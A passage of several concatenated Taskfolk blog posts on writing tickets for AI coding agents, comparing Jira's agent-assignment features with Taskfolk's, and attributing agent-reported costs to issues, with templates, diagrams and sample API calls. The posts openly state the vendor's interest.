chain of handoffs honest; [coordinating a triage agent and a coding agent](/blog/coordinate-two-agents-with-issue-status-handoffs) shows the sequencing. ## What this does not fix A pending record with a clock tells you an agent did not start. It says nothing about whether the ticket was buildable, whether the agent has the scopes it needs, or whether the work that comes back is any good. Taskfolk flags a session that reaches review or done with no attributed activity or comment on its issue, but that badge is a heuristic and a single comment defeats it. [Managing a team of AI agents](/blog/manage-a-team-of-ai-agents) covers the checking side, and [human in the loop approval](/docs/human-in-the-loop-approval-for-ai-agents) covers what happens before an agent's changes land. One more limit, stated plainly. A session entering needs input, review, done or failed notifies the agent's owner and the issue's reporter, assignee and watchers. Nothing fires for a delegation that was never claimed, and our 14 event webhook catalogue has no agent session event to hang your own alert on. There is no mobile app and no push notification either. If your T is measured in minutes and you are away from a screen, the scheduled query above plus a pager you already own is the honest answer. Go find the oldest ticket on your board with an agent's name and no activity on it. If you cannot tell from that row whether the agent ever started, you have found the thing worth fixing, and it is not the agent. --- # How to write a ticket an AI agent can actually finish URL: https://taskfolk.ai/blog/write-tickets-ai-agents-can-finish Published: 2026-07-26 Author: The Taskfolk team Tags: how-to, AI agents, agentic project management, issue tracking, developer How to write tickets for AI coding agents: the seven fields that decide whether you get a reviewable pull request or an eleven file mess you cannot check. You filed a two line bug report on Tuesday, assigned it to a coding agent, and went to lunch. What came back was a pull request across eleven files, three of them refactors nobody asked for, under a summary that describes the work with more confidence than you can verify without reading every line of it. The aggregate says this is normal. LinearB's [2026 engineering benchmarks](https://linearb.io/dev-interrupted/podcast/linearb-2026-benchmarks-ai-pr-merge-rate), built from 8.1 million pull requests across roughly 4,800 teams, put AI assisted PRs at a 32.7% merge rate within thirty days against 84.5% for human authored ones. They run about 2.5 times larger at the 75th percentile and wait more than five times longer before a reviewer picks them up. Figures checked July 2026. The model is rarely the variable you control. The ticket is, and most teams hand an agent an issue written for a colleague who knows the codebase, remembers last month's architecture argument, and can tell which directories are radioactive. The agent has none of that and fills the gap itself. Eleven files is what filling the gap looks like. We build Taskfolk, so read the product sections as interested advice. The ticket craft works anywhere. ## What a human ticket assumes and an agent does not have A ticket written for a person is a pointer. "Fix the flaky checkout test" works because your teammate knows which test, remembers the retry hack from March, and knows not to touch the payment client on a Friday. None of that is in the ticket. It lives in standup, in Slack scrollback, in the reviewer's head. Strip that away and five things go missing every time: where in the repo this kind of change belongs, which approaches were already tried and rejected, what is off limits, what counts as done beyond "it runs", and who to ask when the ticket turns out to be wrong. Teams half know this, which is why repos started growing agent context files. Look at what goes into them. A study of [2,303 context files across 1,925 repositories](https://arxiv.org/abs/2511.12884) found developers document build and run commands 62.3% of the time, implementation details 69.9%, and architecture 67.7%, then security and performance requirements at 14.5% each. Teams tell agents how to build. They almost never tell them what not to break. One piece of standard advice to drop: file paths matter less than everyone thinks. GitHub's docs for its cloud coding agent say semantic search often finds the right code even when the task names no paths. Pointing at a starting file is a courtesy, not the thing that saves the pull request. ## The seven fields that change the outcome An agent ticket runs about the same length as a good human one, but the weight sits in different places. Three of the seven fields below are the ones almost nobody writes down, and they are the three that decide whether you get a change you can review. ### The boundary of what may change An agent given an ambiguous scope will expand it, because expanding it looks like being helpful. Say the edges out loud. Weak: "Fix the flaky checkout test." Usable: "Fix the flaky checkout test. Change files under `tests/checkout/` only. Do not modify the payment client, do not add dependencies, and do not reformat files you did not otherwise touch." That last clause sounds petty until you review a 900 line diff that was 40 lines of fix and 860 of formatter. ### The definition of stop Left unsaid, keep going is the default, and a determined agent will refactor its way around a blocker rather than admit the ticket was too thin to finish. Usable: "If the fix requires changing retry behaviour in the payment client, stop. Move your session to needs input and comment with what you found. Do not try more than three approaches." Give the instruction somewhere to land. Agent sessions here have a `needs_input` state, and entering it notifies the agent's owner plus the issue's reporter, assignee, and watchers, so a stop is visible rather than silent. ### The escalation path Ask if anything is unclear is not an escalation path. It names no person, no place, and no format. Usable: "If this needs a product decision, comment on this ticket and mention `@dana`. If the staging seed data is missing, mention `@omar`. Do not open a new ticket for either." The handles have to resolve to people the agent can actually look up, which is a solvable problem and the subject of a section below. The other four fields are table stakes, and most teams already write some version of them badly. | Field | Weak version | Version an agent can act on | |---|---|---| | Goal, one sentence | "Improve checkout reliability." | "Stop the checkout page from submitting twice when the user double clicks Pay." | | Acceptance test | "Works correctly." | "`npm test tests/checkout/double-submit.test.ts` passes, and it fails on current main." | | Constraints | Usually absent | "No new dependencies. Keep the exported signature of `submitOrder` unchanged. No schema migration." | | Where to start | "Somewhere in checkout." | "`src/checkout/submit.ts`. `src/cart/apply-coupon.ts` already does this guard, follow that pattern." | The acceptance row is the one worth fighting for. If done is a command that exits zero, the agent checks its own work before it asks you to. If done is a paragraph, you are the test suite. ## Put the structure in the template, not in your memory Nobody types seven fields at 4pm on a Thursday. Week two is where ticket discipline dies, so the structure has to live somewhere other than your good intentions. Taskfolk prefills the description in the new issue dialog from a per type template. The task one is short on purpose: ```markdown ## Context Why this task exists. What changed upstream. ## What to do - Step 1 - Step 2 ## Definition of done - [ ] Code shipped - [ ] Verified in staging ``` The bug template is stricter: reproduction steps, expected, actual, environment, severity. Stories carry a user story block with acceptance criteria as checkboxes. Editing the prefill is the expected move: delete what does not apply, add the three fields above. ![The new issue dialog in Taskfolk with the work type set to Task, a title field, and the description area prefilled with the Context, What to do, and Definition of done template headings.](/images/blog/how-to-create-an-issue-new-issue-dialog.webp) If you would rather acceptance criteria were a field than a heading, make it one. Custom fields come in ten kinds, and `applies_to` scopes a field to at most five work types, with an empty list meaning all of them. Attach it to bug and task, and leave epics alone. One correction, because the marketing version of this feature is usually a lie: marking the field required does not stop anyone filing a ticket without it. What the server refuses is clearing a required field back to null once it holds a value. That is a ratchet against someone deleting the criteria three days later, not a gate at creation time. For a hard gate at intake, put the field on a [request form](/docs/how-to-set-up-a-request-form) instead, where validation rejects the submission outright. Kinds, options, and scoping are covered in [custom fields in issue tracking](/docs/custom-fields-in-issue-tracking). ![The custom fields settings page listing field definitions with their kind, required flag, and the work types each one applies to.](/images/blog/custom-fields-in-issue-tracking-fields-page.webp) ## Stop pasting your conventions into every ticket The second failure mode arrives once the tickets get good: every one now carries a paragraph of workspace boilerplate. Project keys, label vocabulary, who to mention, which field holds acceptance criteria. Repeated forty times, and quietly out of date in thirty. Split the context by how often it changes. ```mermaid flowchart LR A["Repo agent file: build and test commands"] --> R["What the agent knows when it starts"] B["Workspace skill bundle: project keys, labels, mention handles"] --> R C["The ticket: goal, boundary, done, stop"] --> R ``` The repo file changes when the toolchain does. Workspace conventions change when someone adds a label. Only the third layer is per ticket, and it is the only layer a human should be typing. Taskfolk generates the middle layer. The skill bundle is a `SKILL.md` built from your live workspace inventory, plus MCP client configs for Claude Desktop, Cursor, and VS Code. Every live project renders with its key, slug, issue key format, its real labels, and its custom field definitions with kinds and options: ```markdown ### WEB - Web app - Slug: `web` - Issue keys look like `WEB-123`. Reference them in comments as `#WEB-123`. - Labels: `frontend`, `checkout`, `regression` - Custom fields: - `Acceptance criteria` (text, required) - `Risk` (select), options: `low`, `medium`, `high` ``` Members render as a table of `@handle`, name, and role, which is what turns "mention `@dana`" into something the agent can execute. Granted scopes are listed too. Installing the bundle is covered in [how to install Taskfolk as an agent skill](/docs/how-to-install-taskfolk-as-an-agent-skill). ![The Skills tab showing the generated Taskfolk skill for Claude Code, with the download and MCP configuration options.](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) ## Assign it, then watch the session instead of the comments Assigning an issue to an agent creates a `pending` session immediately, before the agent wakes up. The reason is boring and useful: the delegation shows on the issue and on the agents hub the moment you make it, so nobody else picks up the same work while the agent is still queued. ```mermaid stateDiagram-v2 [*] --> pending pending --> running running --> needs_input needs_input --> running running --> review review --> done running --> failed pending --> cancelled done --> [*] failed --> [*] cancelled --> [*] ``` An agent can leave `pending` but never enter it, and claiming work takes over the existing row rather than duplicating it. A `running` session with no heartbeat for thirty minutes renders as stalled, computed when you look at it rather than written into a column that goes stale on its own. Unclaimed sessions are cancelled after seven days. ![The agent sessions list showing sessions with their state, title, the issue each is anchored to, and the linked external URL.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Parity, checked in July 2026, because the vendor blogs oversell the gap. Jira has let you assign work items to agents since its February 2026 beta, and Linear's agents are app users you can assign and mention, with a session created on delegation. In Linear the agent is a delegate while a human stays primary assignee and owner. Here the agent holds the assignment under its own user row, so activity and comments carry its name with no special casing. Checking the work has its own post, [managing a team of agents](/blog/manage-a-team-of-ai-agents). One line on it here: a session that reaches `review` or `done` with no attributed activity row and no comment on its issue gets flagged unverified. That is a smoke alarm, not a verdict, and a single comment defeats it. A [study of 9,799 human reviewed agentic pull requests](https://arxiv.org/abs/2605.22534) found 33.1% of rejections left no observable decision rationale, and 5.5% of merged PRs showed no visible interaction trace either, so absence of trace is weak evidence in both directions. Your test suite still proves correctness. ## Bound what the agent can write back If the ticket is the contract, field policy and transition rules are the terms. Each connected agent can carry an allowlist over fourteen issue field tokens: `title`, `description`, `status`, `priority`, `assignee`, `labels`, `milestone`, `sprint`, `release`, `estimate`, `spent`, `completion`, `start_at`, `due_at`. A null policy means everything is writable. Enforcement sits at one choke point, so REST calls, the transition endpoint, MCP tool calls, and the time endpoint hit the same check instead of lookalike checks that drift apart. Say the limit plainly: the policy is per field, never per value. You decide whether an agent may write `status` at all. You cannot say "only to In Review". That shape comes from allowed transitions on the board statuses, which are a real gate, since a disallowed move returns an error on every write path including the agent's own. Board rank is never gated, because stopping a triage agent from reordering cards is not the point. ![The agent field policy dialog with a partial allowlist selected, showing which issue fields this agent may write.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) WIP limits are the one control here that looks stricter than it is. The count badge and the red column border come from a board view toggle and change colour only. Transition rules enforce, WIP nudges. | Capability | Taskfolk | Linear | Jira | |---|---|---|---| | Agent holds the assignment | Yes, with its own user identity | Yes, as a delegate while a human stays primary owner | Yes, agents appear as assignees | | Per field write allowlist for one agent | Yes, 14 issue field tokens | App level install permissions, not per field | Permission and workflow schemes, not per agent per field | | Instruction file generated from your live workspace | Yes | No published equivalent | No published equivalent | Setup for both is in [how to set agent field permissions](/docs/how-to-set-agent-field-permissions); the delegation flow itself is in [how to delegate work to an agent](/docs/how-to-delegate-work-to-an-agent). ## The template, in full Copy this, delete what does not apply, and keep the last three headings even when they feel obvious. ```markdown ## Goal One sentence. The observable change, not the activity. ## Scope Files or modules you may change. Everything else is out of bounds. ## Acceptance - [ ] Command that must pass, and the fact that it fails today - [ ] Behaviour a human can check in staging ## Constraints No new dependencies. Public signatures unchanged. No schema migration. ## Start here Path to the entry point, plus one file that already does something similar. ## Stop when The condition under which you stop and ask instead of continuing. ## Escalate to @handle for product decisions. @handle for environment problems. ``` Creating it over the API is one call, with the template in `description_md`: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"type":"bug","title":"Checkout submits twice on double click","description_md":"## Goal\nStop double submission...","labels":["checkout","regression"],"priority":"high"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ type: "bug", title: "Checkout submits twice on double click", description_md: "## Goal\nStop double submission...", labels: ["checkout", "regression"], priority: "high", }), }, ); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "type": "bug", "title": "Checkout submits twice on double click", "description_md": "## Goal\nStop double submission...", "labels": ["checkout", "regression"], "priority": "high", }, ) ``` ```json { "id": "0199c1f4-8a2e-7c31-9d55-6b0a2f13e4c7", "key": "WEB-412", "url": "https://taskfolk.ai/w/acme/p/web/WEB-412", "type": "bug", "status": "backlog", "assignee_id": null } ``` Custom field values need a second call, because the create body has no slot for them: ```bash curl -X PUT https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-412/custom-fields/$FIELD_ID \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"value":"npm test tests/checkout/double-submit.test.ts exits zero"}' ``` Assignment is a `PATCH` carrying the agent's user id, which you read from the agents endpoint. That call creates the pending session. ## What this does not fix Taskfolk does not score your tickets. No lint flags a vague one before you assign it, and building that would mostly manufacture false confidence. The fields above are a discipline, not a feature. It also does not run your agent. Assignment and mentions push over a per agent event stream and the session record lives here, but the runtime is yours, on your machine or in CI. Session cost is whatever the agent reports, or an estimate from the token counts it reports, because the tokens are spent on your provider account where we cannot see them. Longer is not better either. A study of [agent configuration files in a hundred popular repositories](https://arxiv.org/pdf/2606.15828) found context bloat in 42% of them and lint rules leaking into instructions in 62%. A short hand written brief beats a long generated one, and a generated one that has drifted from reality is worse than nothing. Some work should not go to an agent at all, and the clearest list comes from a vendor selling agents. [GitHub's own docs](https://docs.github.com/copilot/how-tos/agents/copilot-coding-agent/best-practices-for-using-copilot-to-work-on-tasks) say to keep cross repository refactors, substantial business logic, anything touching security, authentication, or personal data, incident response, open ended work, and any task you took on to learn something. A ticket that is hard to write in the shape above is usually telling you it wants a human. If this is your first delegation, [scope an agent's first job](/blog/scope-an-ai-agents-first-job) covers picking one that will not embarrass you. [Turning a brief into epics and tasks](/blog/turn-a-prd-into-epics-and-tasks) covers where the tickets come from. Start with one. Take the next bug you were going to assign, add the scope line, the stop condition, and the escalation handle, then read the diff that comes back. If it is still eleven files, the ticket is still doing the guessing for you. --- # Jira can assign tickets to AI agents now. What actually changed URL: https://taskfolk.ai/blog/jira-ai-agents-assign-tickets Published: 2026-07-26 Author: The Taskfolk team Tags: comparison, AI agents, pricing, Jira alternative, agentic project management, MCP Agents in Jira went GA in May 2026 and Atlassian shipped its own coding agent in July. What it does, what it costs, and three things it does not change. Your team already pays for Jira. Someone forwarded you an Atlassian announcement about assigning tickets to AI agents, and you cannot tell from it whether the thing shipped or what it adds to the invoice. The confusion is fair. Atlassian ran four agent launches between February and July, and the one quoted most was still a beta at the time. One disambiguation before anything else. In Jira Service Management an "agent" is a licensed human working a queue. This post is about the other kind, the one you drop into the assignee field so it goes and touches your repository. And the bias, since you should have it now rather than in paragraph forty: we build Taskfolk, which competes with Jira. Read the back half as an argument, not a survey. Every Atlassian figure below came off an Atlassian page on 26 July 2026. ## What actually shipped, and when Agents in Jira is real and out of beta. The single-date version people repeat conflates four releases. | When | What shipped | Status | |---|---|---| | 25 Feb 2026 | Assign work to agents, mention them in comments, attach them to workflow transitions | Open beta | | May 2026 | Standard, Premium and Enterprise, plus partner agents from Figma, Canva, Replit and others | GA | | 25 Jun 2026 | GitHub Copilot for Jira, with agent progress streaming into the work item | GA | | 15 Jul 2026 | Jira Coding Agent, agent sessions, coding agent automations. Codex listed as coming soon | Paid plans | Four ways to hand a work item over: the assignee field, an @ mention in a comment, a workflow transition, or a board column in a team-managed space. Assign to Claude Agent for Jira and a session opens, the summary, description and linked repository references go to Anthropic, and a draft pull request comes back from the GitHub machine account you configured. Atlassian deserves the win on the primitive. They did not bolt another chat panel onto the sidebar and call it agentic. They put the agent in the field where work already gets handed from one worker to another. ## Where the bill lands Atlassian charges no separate line item for the assignment surface, and the [15 July launch post](https://www.atlassian.com/blog/company-news/ai-sdlc) calls the Jira Coding Agent built into every paid Jira plan. Two things complicate that. The first is that Free is excluded. On the [pricing page](https://www.atlassian.com/software/jira/pricing), "Rovo Search, Chat, and Agents" sits inside Standard's "Everything from Free, plus" list. At the page default of 300 users with the monthly radio selected, Standard is $7.91 per user per month and Premium is $14.54. Drop the team size box to 10 and Standard becomes $9.05, Premium $18.30, because the price steps down with volume. The number the listicles quote is what a large company pays. The second is credits. The [Rovo usage doc](https://support.atlassian.com/rovo/docs/rovo-usage-limits/) gives a Standard seat 25 credits a month, Premium 70 and Enterprise 150, and prices an agent request at 10 credits. On Standard that is two and a half agent requests per person per month, pooled across the org and resetting with no rollover. Atlassian says it is not billing overage today and promises at least 90 days of notice before the limits take effect. A meter that is built, wired and switched off is not the same thing as free. Then there is the number nobody at Atlassian controls. Claude Agent wants your own Anthropic API key, Copilot bills through GitHub, Cursor bills through Cursor. Your largest agent line item never touches your Atlassian invoice. We cannot see that spend either. A Taskfolk session stores cost, tokens and model name, but the agent reports all of it, because the tokens burn on the agent's own provider account, so a spend signal can alert and never block. This post covers only what a Jira customer pays for agent features; the cross-vendor table lives in [what AI project management software costs](/blog/ai-agent-cost-per-task), and per-task burn is [its own piece](/blog/ai-agent-cost-per-task). ## Whose name is on the change The announcements skip this, and the answer is consistent across all three of Atlassian's mechanisms. Rovo agents borrow the invoker's permissions: the [governance doc](https://support.atlassian.com/rovo/docs/rovo-agent-permissions-and-governance/) says the agent is acting on that person's behalf and can only return or interact with information that person already has permission to access. Agents built on Forge carry two tokens, and Atlassian's remote-agents documentation says requests on the system token are attributed to the app name in audit logs and in the UI, requests on the user token to the invoking user. Claude Agent pushes to GitHub as a shared machine account. So the trail points at a human who pressed a button, at an app, or at a service account shared across the org. None of those is an identity that belongs to the agent. ```mermaid flowchart TD A["You assign a work item to a Jira agent"] --> B["Agent acts on your behalf"] B --> C["Audit log shows your name or the app name"] D["You assign an issue to a Taskfolk agent"] --> E["Agent writes with its own API key"] E --> F["Activity shows the agent name"] ``` Taskfolk goes the other way. Connecting an agent creates a user row flagged as an agent, on a mail subdomain that routes nothing, so the identity can never receive a magic link and can never sign in as a person. It gets a workspace membership, a profile, and an API key whose creator is its own user id. That key is the attribution mechanism: every write runs through a real user id, so the agent turns up in the assignee picker, in mention autocomplete, in activity and in workload charts with nothing special-cased. Disconnecting revokes the key and leaves the history attributed. ![The Taskfolk agents hub listing connected AI agents as workspace members, each with a provider badge and a human owner.](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Which model you want depends on the question your audit has to answer. Jira answers "who authorised this" cleanly, and it has the better story if your reviewer thinks in accountable humans. "Which of my six agents wrote this line" it cannot answer at all. More in [keeping an audit trail of agent changes](/blog/keep-an-audit-trail-of-ai-agent-changes). ## Can you fence off the fields you care about Atlassian gives you two levers on what an agent may write, and neither one is an allowlist. The first is the agent's custom instructions, which are prose, and prose is advisory. The second is which tools it is configured with, which is coarse: a work item update tool either writes fields or it does not. What you cannot express anywhere is "this credential may write status and labels and nothing else." ![The Taskfolk agent field policy dialog with a partial allowlist, showing which issue fields this agent key may write and which are switched off.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) Ours is a 14-token allowlist on the agent's own key: title, description, status, priority, assignee, labels, milestone, sprint, release, estimate, spent, completion, start_at and due_at. Null means all of them. It is enforced in one function that every API write passes through, so REST, the transition endpoint, MCP and the time endpoint give the same answer rather than three subtly different ones. ```bash curl -X PATCH https://taskfolk.ai/api/v1/workspaces/acme/agents/ag_7f21 \ -H "Authorization: Bearer tfk_live_a1b2..." \ -d '{"field_policy": ["status", "description", "labels", "spent"]}' ``` ```javascript await fetch("https://taskfolk.ai/api/v1/workspaces/acme/agents/ag_7f21", { method: "PATCH", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` }, body: JSON.stringify({ field_policy: ["status", "description", "labels", "spent"] }), }); ``` ```python import os, requests requests.patch( "https://taskfolk.ai/api/v1/workspaces/acme/agents/ag_7f21", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"field_policy": ["status", "description", "labels", "spent"]}, ) ``` Three limits, since the code states them and the marketing should too. It is per field, not per value, so you can allow status but not pin it to In Review. It covers issue fields only, because creation and deletion are governed by scopes and roles instead. And it guards the agent's key, not an admin who decides to go around it. Setup walkthrough: [how to set agent field permissions](/docs/how-to-set-agent-field-permissions). ## Polling versus push, and who sees the session Agent sessions are the best thing in the July release, and I say that as a competitor. They live under "For you" in the sidebar, grouped into three states, Needs input, Working and Finished, with a lozenge counting how many are waiting on you. Two constraints ride along with them. Only the person who added the agent as assignee, or transitioned the work item that triggered it, can interact with it directly, and the [collaboration doc](https://support.atlassian.com/jira-software-cloud/docs/collaborate-on-work-items-with-ai-agents/) says the output is visible only to you so you can choose when to share it. Thoughtful for exploring an idea on your own. Awkward for a team trying to work out what six agents did overnight, because the sessions sit in six private views. Delivery is the other split. Atlassian's Forge documentation for remote agents states there is currently no mechanism for the agent to push updates to Jira, and that Jira polls the agent while a task is in an active state. ```mermaid sequenceDiagram participant J as Jira participant R as Remote agent participant T as Taskfolk J->>R: Create the task loop While the task is active J->>R: Poll for status R-->>J: working end R->>T: Open one long lived stream T-->>R: issue assigned T-->>R: session updated ``` ```http GET /api/v1/workspaces/acme/agent-events?since=2026-07-26T09:00:00Z Authorization: Bearer tfk_live_a1b2... ``` A Taskfolk session is a durable row on the ticket that the reporter, assignee and watchers all see. Assignment creates it in a pending state before the agent has woken up. Reaching needs input, review, done or failed notifies the owner and everyone watching, and a running session with no heartbeat for 30 minutes reads as stalled. A session that reaches review or done with no attributed activity or comment on its issue gets an unverified badge, which is a heuristic and nothing stronger: one comment defeats it. ![A Taskfolk issue with a live agent session on the ticket, showing its state, the agent that claimed it, and a link to the pull request.](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) ## The two models side by side | | Jira Cloud | Taskfolk | |---|---|---| | Agent identity | The invoking user, the Forge app, or a shared service account | Its own user row, membership, profile and API key. Cap 25 per workspace | | Attribution | Audit log names the app or the human who invoked it | The agent's user id is on every write, so it shows in activity, mentions and workload | | Write restriction | Custom instructions and tool configuration. No field allowlist | 14 field tokens at one choke point covering REST, transitions and MCP | | Agent seat cost | No agent seat. Metered at 10 Rovo credits per request against 25 a month on Standard | Zero. Seat counting filters agents out. Humans are $3 or $6 per editor seat | | Delivery to the agent | Jira polls the agent | Per-agent SSE stream, five event types, 24-hour replay | | MCP surface | OAuth. Tool count and rate limits not published | Streamable HTTP, tools generated from the OpenAPI registry, over 180 operations | | Agent runtime | Atlassian, Anthropic or GitHub | Never ours. Your machine, your CI | That last row is a symmetry, not a win. Both products delegate execution somewhere else. The difference is direction of travel: Atlassian is pulling the runtime into its own sandbox, and we structurally cannot host one. Read that as a feature if you already run Claude Code on your own machine, and as a reason to stay put if you would rather someone else owned the runtime. MCP coverage across the field is in [the MCP audit](/blog/mcp-audit-project-management-2026); the seat arithmetic is in [do AI agents count as seats](/blog/do-ai-agents-count-as-seats). ## Where Jira wins, and it is a long list Start with mobile, the least arguable of them. Jira ships iOS and Android apps on every plan including Free. We have no native app, no PWA and no offline mode. The web app is responsive down to 390px and that is the entire story. Permissions are the second. Jira permission schemes are a decade deep and they survive an auditor. We have five fixed roles and no custom ones, fine for a team of twelve and wrong for a regulated one. Service management is the same shape: JSM has queues, SLAs and customer portals, while we have public request forms that create issues. Integrations are the third. Our repo integration provider enum contains exactly one entry, github. No GitLab, no Bitbucket, no Azure DevOps. Slack support is an outbound webhook that formats itself nicely when the host is hooks.slack.com, which is not a Slack app, so no slash commands and no two-way sync. The biggest one is not about software at all. Your company already bought Jira, your auditors signed off on it, and four other teams live in it. That beats most feature arguments, and it should. One caveat if you are planning a rollout on a regulated instance: Claude Agent for Jira is not supported on HIPAA or FedRAMP instances, and because Claude Managed Agents persists session state, zero data retention is not available for it. ## Who should stay, who should look Stay on Jira if your agents are Claude Code, Cursor or Copilot through Atlassian's own integrations, if you want someone else running them, if your compliance boundary already ends at Atlassian, and if 25 credits a head covers what your team does in a month. That describes a lot of teams. Look elsewhere if you run more agents than people, if your audit trail has to tell six agents apart by name, if you want a write allowlist on the agent's credential rather than a paragraph of prose, or if the runtime has to stay on hardware you control. The per-seat arithmetic is in [Jira alternatives and what you pay per seat](/blog/jira-alternatives-price-per-seat). If you do move, know what the import does and does not do. Six connectors cover Trello, ClickUp, Jira, Monday, Linear and Asana, at 500 rows inline and up to 50,000 in the background. It is one-way and one-shot: no continuous sync, no two-way mirror, no reconciliation if you run it twice, and attachment and comment fidelity is not guaranteed. Custom permission schemes have nowhere to land. Details in [migrating from Jira, Trello or Asana](/blog/migrate-from-jira-trello-asana-to-taskfolk), and the head-to-head sits on [our Jira comparison page](/vs/jira). If the identity question is the one that stuck, connect one agent to a free workspace, assign it a real ticket, and read the activity feed afterwards. It takes an API key and about a minute. --- # What an AI agent actually costs per task URL: https://taskfolk.ai/blog/ai-agent-cost-per-task Published: 2026-07-26 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, metrics, AI agents, pricing, how-to, developer, agentic project management Work out AI agent cost per task: attribute agent-reported spend to an issue key, divide by completed work rather than attempts, and read the result honestly. Your agent bill tripled last month and the invoice is one line. A total, a date, and no way to tell whether it went on the checkout rewrite or on an agent that spent nine hours renaming labels. Spend is easy to see; attribution is the hard part, and attribution is what finance asks for. You can pull July's numbers for Claude Code, Cursor and Copilot out of three consoles in ten minutes and still not say what you got. Bias first: I work on Taskfolk, and attaching spend to work is the part it does. A session of agent work is anchored to an issue key, so cost rolls up per agent and per ticket with no tagging scheme to invent. It cannot see your provider bill, and I will say where that hurts. What a vendor charges for its own built-in AI is a separate question. This is what your own agent spends. ## What a task is supposed to cost Get an outside number first, or you have nothing to judge your own against. Anthropic publishes deployment figures for Claude Code: [around $13 per developer per active day and $150 to $250 per developer per month](https://code.claude.com/docs/en/costs), with 90% of users staying under $30 on an active day (checked 26 July 2026). The same page notes that its own `/usage` total is computed locally from list prices and "may differ from your actual bill". Agent teams change the shape: each teammate runs its own context window, so tokens scale with team size. Those are per developer figures, and turning them into per task figures is not division. Eight tickets closed in a week at $13 a day is not $8 a ticket if three of them were the same ticket, attempted three times. ## Cost per task is meaningless without a denominator Divide spend by attempts and you get a flattering number, because failures cost money too. The formula is not ours: the field settled on [cost per run divided by success rate](https://langwatch.ai/blog/cost-per-successful-task), and it is right. What makes it bite is Artificial Analysis's AA-Briefcase benchmark, 91 private long horizon knowledge tasks, reported by LangWatch in July 2026: the leading model costs about $31 a task and meets every rubric criterion on 3% of them, which puts its cost per fully correct result near $1,000. Cost per task spans more than 800x across the models tested. Teams guess their success rate, and guess generously. [LinearB's 2026 benchmarks](https://linearb.io/dev-interrupted/podcast/linearb-2026-benchmarks-ai-pr-merge-rate), published in March from 8.1 million pull requests across 4,800 teams in 42 countries, found 32.7% of AI assisted PRs merged within 30 days against 84.5% of human authored ones. Those PRs ran past 400 lines at the 75th percentile against 157, and waited about 5.25 times longer for a first review. Fully agentic PRs came in near 290 lines, with no separate merge rate published, so measure your own. If your real merge rate is a third, dividing by attempts understates the number threefold. Sessions give you three buckets, not two. The middle one is where the arguments happen. ```mermaid flowchart TD A["Agent session ends"] --> B{"Terminal state"} B -->|"done or review"| C{"PR link, comment or activity row"} B -->|"failed or cancelled"| E["Bucket 3: cost, no outcome"] C -->|"yes"| D["Bucket 1: cost with a trace"] C -->|"no"| F["Bucket 2: flagged unverified"] D --> G["Denominator: completed tasks"] E --> H["Numerator only"] F --> H ``` Taskfolk flags a review or done session anchored to an issue that carries no external link and left no activity row or comment from that agent on that issue while it was open. Three things defeat it: a comment, the PR URL, or work the tracker never sees. Treat bucket two as a review queue, not a verdict. [Managing a team of agents](/blog/manage-a-team-of-ai-agents) goes further into the states. ![The Bots page sessions list: six sessions with state chips reading Needs input, Stalled, In review, Pending, Running and Done, each beside an issue key.](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) ## Every figure here is agent reported The agent spends on its own provider account. Taskfolk never runs the model, so it cannot read your invoice and cannot stop a run that is burning money. Every dollar figure is one an agent reported about itself, and the interface says so wherever it shows one. The vendor's own tooling has the same shape. Claude Code computes its session total locally from list prices, so it "doesn't reflect promotional pricing or contracted discounts and may differ from your actual bill". The company running the model is estimating from a price list too. | Where you look | What it tells you | What it cannot tell you | |---|---|---| | Provider console (Anthropic, OpenAI) | Billed dollars, per key or per user | Which ticket, which project | | An LLM gateway (Helicone, LiteLLM, Portkey) | Spend for every request routed through it | Anything that never routes through it | | [DX AI cost management](https://getdx.com/blog/meet-the-new-ai-cost-management-report/) | Vendor billing across Claude, Cursor and Copilot, by team, with an estimated cost per PR | The ticket. Its unit is the pull request, not the issue | | Taskfolk agent sessions | Agent reported dollars anchored to an issue key, per agent and per session | Your actual provider bill | If you need vendor billing reconciled across three tools and mapped onto teams, DX does that on an enterprise contract and Taskfolk does not. If you want a dollar figure next to WEB-39 on a $3 per seat tracker, the trade runs the other way. ## Wiring the reporting, and the null you should want Reporting is one POST per turn, and every call is a delta on the session total. Send `cost_usd` when your SDK hands it to you, tokens plus a model string when it does not. ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/ses_9f21/usage \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"tokens_in": 84210, "tokens_out": 6180, "cached_tokens": 512000, "cost_usd": 0.4137, "model": "claude-sonnet-4-6"}' ``` ```javascript await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/ses_9f21/usage", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ tokens_in: 84210, tokens_out: 6180, cost_usd: 0.4137, model: "claude-sonnet-4-6", }), }, ); ``` ```python import requests requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/ses_9f21/usage", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "tokens_in": 84210, "tokens_out": 6180, "cost_usd": 0.4137, "model": "claude-sonnet-4-6", }, ) ``` ```json { "id": "ses_9f21", "issue_key": "WEB-39", "model": "claude-sonnet-4-6", "tokens_in": 84210, "cost_usd": 0.4137, "usage_reports": 1 } ``` A model string on its own is refused: at least one of `tokens_in`, `tokens_out`, `cached_tokens` or `cost_usd` has to be present. ```mermaid 